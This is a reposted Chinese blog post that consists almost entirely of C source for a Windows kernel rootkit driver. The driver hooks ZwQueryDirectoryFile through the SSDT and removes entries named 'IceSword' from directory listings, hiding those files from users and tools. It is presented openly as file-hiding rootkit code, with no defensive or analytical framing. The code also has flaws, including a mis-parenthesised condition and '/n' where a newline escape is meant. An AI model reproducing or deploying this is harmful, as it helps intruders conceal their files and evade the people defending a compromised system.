vc实现RootKit文件隐藏

来源:互联网 发布:淘宝买的竹席 编辑:程序博客网 时间:2024/04/29 18:05

#include "ntddk.h"
#include

#pragma pack(1) //SSDT Table
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //Used only in checked build
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

NTSTATUS DriverEntry(IN PDRIVER_OBJECT  DriverObject,IN PUNICODE_STRING  RegistryPath);
VOID Unload(IN PDRIVER_OBJECT  DriverObject);

//取代的新函数
NTSTATUS NTAPI NewZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );

//API 声明
NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );

typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );

typedef struct _FILE_DIRECTORY_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

typedef struct _FILE_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    WCHAR FileName[1];
} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;

typedef struct _FILE_ID_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;

typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;

typedef struct _FILE_NAMES_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

//源地址
ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile = NULL;
DWORD GetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);
void SetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo,IN DWORD Offset);
PVOID GetEntryFileName(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);
ULONG GetFileNameLength(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);

#include "Hidefile.h"

NTSTATUS DriverEntry(IN PDRIVER_OBJECT  DriverObject,IN PUNICODE_STRING  RegistryPath)
{
NTSTATUS ntStatus = STATUS_SUCCESS;

DriverObject->DriverUnload = Unload;

KdPrint(("Driver Entry Called!/n"));

KdPrint(("OldAddress:0x%X/tNewAddress:0x%X/n",SYSTEMSERVICE(ZwQueryDirectoryFile),NewZwQueryDirectoryFile));
OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile);
(ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile) = NewZwQueryDirectoryFile;

return ntStatus;
}

VOID Unload(IN PDRIVER_OBJECT  DriverObject)
{
KdPrint(("Driver Unload Called!/n"));
(ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile) = OldZwQueryDirectoryFile;
KdPrint(("Address:0x%X/n",SYSTEMSERVICE(ZwQueryDirectoryFile)));
return;
}

DWORD GetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
DWORD result = 0;
switch(FileInfo){
case FileDirectoryInformation:
  result = ((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset;
  break;
case FileFullDirectoryInformation:
  result = ((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset;
  break;
case FileIdFullDirectoryInformation:
  result = ((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset;
  break;
case FileBothDirectoryInformation:
  result = ((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset;
  break;
case FileIdBothDirectoryInformation:
  result = ((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset;
  break;
case FileNamesInformation:
  result = ((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset;
  break;
}
return result;
}

void SetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo,IN DWORD Offset)
{
switch(FileInfo){
case FileDirectoryInformation:
  ((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
case FileFullDirectoryInformation:
  ((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
case FileIdFullDirectoryInformation:
  ((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
case FileBothDirectoryInformation:
  ((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
case FileIdBothDirectoryInformation:
  ((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
case FileNamesInformation:
  ((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
}
}

PVOID GetEntryFileName(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
PVOID result = 0;
switch(FileInfo){
case FileDirectoryInformation:
  result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)pData)->FileName[0];
  break;
case FileFullDirectoryInformation:
  result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)pData)->FileName[0];
  break;
case FileIdFullDirectoryInformation:
  result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileName[0];
  break;
case FileBothDirectoryInformation:
  result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)pData)->FileName[0];
  break;
case FileIdBothDirectoryInformation:
  result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileName[0];
  break;
case FileNamesInformation:
  result =(PVOID)&((PFILE_NAMES_INFORMATION)pData)->FileName[0];
  break;
}
return result;
}

ULONG GetFileNameLength(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
ULONG result = 0;
switch(FileInfo){
case FileDirectoryInformation:
  result = (ULONG)((PFILE_DIRECTORY_INFORMATION)pData)->FileNameLength;
  break;
case FileFullDirectoryInformation:
  result =(ULONG)((PFILE_FULL_DIR_INFORMATION)pData)->FileNameLength;
  break;
case FileIdFullDirectoryInformation:
  result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileNameLength;
  break;
case FileBothDirectoryInformation:
  result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)pData)->FileNameLength;
  break;
case FileIdBothDirectoryInformation:
  result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileNameLength;
  break;
case FileNamesInformation:
  result =(ULONG)((PFILE_NAMES_INFORMATION)pData)->FileNameLength;
  break;
}
return result;
}

NTSTATUS NTAPI NewZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan )
{
NTSTATUS ntStatus = OldZwQueryDirectoryFile(
  FileHandle,
  Event,
  ApcRoutine,
  ApcContext,
  IoStatusBlock,
  FileInformation,
  Length,
  FileInformationClass,
  ReturnSingleEntry,
  FileMask,
  RestartScan);

if(NT_SUCCESS(ntStatus) &&
  FileInformationClass == FileDirectoryInformation ||
  FileInformationClass == FileFullDirectoryInformation ||
  FileInformationClass == FileIdFullDirectoryInformation ||
  FileInformationClass == FileBothDirectoryInformation ||
  FileInformationClass == FileIdBothDirectoryInformation ||
  FileInformationClass == FileNamesInformation
  )
{
  PVOID p = FileInformation;
  PVOID pLast = NULL;
  DWORD pLastOne = 0;
  KdPrint(("<--------/n"));
  do{
   pLastOne = GetNextEntryOffset(p,FileInformationClass);
   KdPrint(("[*]Last:0x%x/tCurrent:0x%x/tpLastOne:%ld/n",pLast,p,pLastOne));
   if(RtlCompareMemory(GetEntryFileName(p,FileInformationClass), L"IceSword", 16 ) == 16 )
   {
    KdPrint(("[-]Hide...../n"));
    if(pLastOne == 0)
    {
     if (p == FileInformation)
      ntStatus = STATUS_NO_MORE_FILES;
     else
      SetNextEntryOffset(pLast,FileInformationClass, 0);
     break;
    }
    else
    {
     int iPos = ((ULONG)p) - (ULONG)FileInformation;
     int iLeft = (DWORD)Length - iPos - pLastOne;
     RtlCopyMemory(p,(PVOID)((char*)p + pLastOne),(DWORD)iLeft);
     KdPrint(("iPos:%ld/tLength:%ld/tiLeft:%ld/t,NextOffset:%ld/tpLastOne:%ld/tCurrent:0x%x/n",
      iPos,Length,iLeft,GetNextEntryOffset(p,FileInformationClass),pLastOne,p));
     continue;
    }
   }
   pLast = p;
   p = ((char*)p + GetNextEntryOffset(p,FileInformationClass));
  }while (pLastOne != 0);
  KdPrint(("-------->/n"));
}

return ntStatus;
}

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/yincheng01/archive/2009/08/17/4455258.aspx

原创粉丝点击